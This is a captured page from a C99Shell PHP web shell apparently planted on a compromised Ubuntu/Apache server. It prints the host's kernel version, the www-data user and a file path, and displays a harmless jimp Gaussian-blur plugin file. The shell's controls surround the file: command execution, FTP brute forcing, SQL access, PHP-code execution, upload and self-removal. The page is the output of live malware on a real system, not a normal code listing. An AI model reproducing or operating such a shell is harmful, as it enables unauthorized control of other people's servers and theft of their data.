!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/invoice_pdf/node_modules/@jimp/plugin-gaussian/src/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (2.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { isNodePattern, throwError } from "@jimp/utils";

/**
 * Applies a true Gaussian blur to the image (warning: this is VERY slow)
 * @param {number} r the pixel radius of the blur
 * @param {function(Error, Jimp)} cb (optional) a callback for when complete
 * @returns {Jimp} this for chaining of methods
 */
export default () => ({
  gaussian(r, cb) {
    // http://blog.ivank.net/fastest-gaussian-blur.html
    if (typeof r !== "number") {
      return throwError.call(this, "r must be a number", cb);
    }

    if (r < 1) {
      return throwError.call(this, "r must be greater than 0", cb);
    }

    const rs = Math.ceil(r * 2.57); // significant radius
    const range = rs * 2 + 1;
    const rr2 = r * r * 2;
    const rr2pi = rr2 * Math.PI;

    const weights = [];

    for (let y = 0; y < range; y++) {
      weights[y] = [];
      for (let x = 0; x < range; x++) {
        const dsq = (x - rs) ** 2 + (y - rs) ** 2;
        weights[y][x] = Math.exp(-dsq / rr2) / rr2pi;
      }
    }

    for (let y = 0; y < this.bitmap.height; y++) {
      for (let x = 0; x < this.bitmap.width; x++) {
        let red = 0;
        let green = 0;
        let blue = 0;
        let alpha = 0;
        let wsum = 0;

        for (let iy = 0; iy < range; iy++) {
          for (let ix = 0; ix < range; ix++) {
            const x1 = Math.min(
              this.bitmap.width - 1,
              Math.max(0, ix + x - rs)
            );
            const y1 = Math.min(
              this.bitmap.height - 1,
              Math.max(0, iy + y - rs)
            );
            const weight = weights[iy][ix];
            const idx = (y1 * this.bitmap.width + x1) << 2;

            red += this.bitmap.data[idx] * weight;
            green += this.bitmap.data[idx + 1] * weight;
            blue += this.bitmap.data[idx + 2] * weight;
            alpha += this.bitmap.data[idx + 3] * weight;
            wsum += weight;
          }

          const idx = (y * this.bitmap.width + x) << 2;

          this.bitmap.data[idx] = Math.round(red / wsum);
          this.bitmap.data[idx + 1] = Math.round(green / wsum);
          this.bitmap.data[idx + 2] = Math.round(blue / wsum);
          this.bitmap.data[idx + 3] = Math.round(alpha / wsum);
        }
      }
    }

    if (isNodePattern(cb)) {
      cb.call(this, null, this);
    }

    return this;
  },
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--